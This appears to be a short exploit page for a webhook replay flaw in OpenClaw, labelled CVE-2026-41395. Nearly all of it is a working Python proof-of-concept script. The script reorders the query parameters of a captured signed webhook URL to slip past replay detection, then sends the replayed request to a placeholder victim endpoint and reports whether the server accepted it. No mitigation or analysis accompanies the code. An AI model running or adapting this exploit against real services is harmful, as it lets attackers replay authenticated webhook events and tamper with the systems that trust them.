CVE-2026-41395 OpenClaw Webhook重放漏洞

import requests import urllib.parse def exploit_webhook_replay(original_url): """ Exploit the webhook replay vulnerability by reordering query parameters. The signature verification normalizes params, but replay detection hashes the raw URL. """ # Parse the original URL parsed = urllib.parse.urlparse(original_url) params = urllib.parse.parse_qs(parsed.query) # Extract parameter keys keys = list(params.keys()) # Reverse the order of keys to create a new raw URL string # (Any permutation that differs from the original works) keys.reverse() # Reconstruct the query string with the new order new_params = [] for key in keys: for value in params[key]: new_params.append((key, value)) new_query = urllib.parse.urlencode(new_params) # Build the new URL replay_url = parsed._replace(query=new_query).geturl() print(f"[+] Original URL: {original_url}") print(f"[+] Replay URL: {replay_url}") # Send the malicious replay request try: response = requests.get(replay_url) print(f"[+] Response Status Code: {response.status_code}") if response.status_code == 200: print("[!] Replay successful! Request accepted by server.") else: print("[-] Replay failed.") except Exception as e: print(f"[-] Error during request: {e}") if __name__ == "__main__": # Example captured webhook URL target = "https://api.victim.com/webhook/plivo?call_uuid=123&status=completed&signature=GENERATED_SIG_HASH" exploit_webhook_replay(target)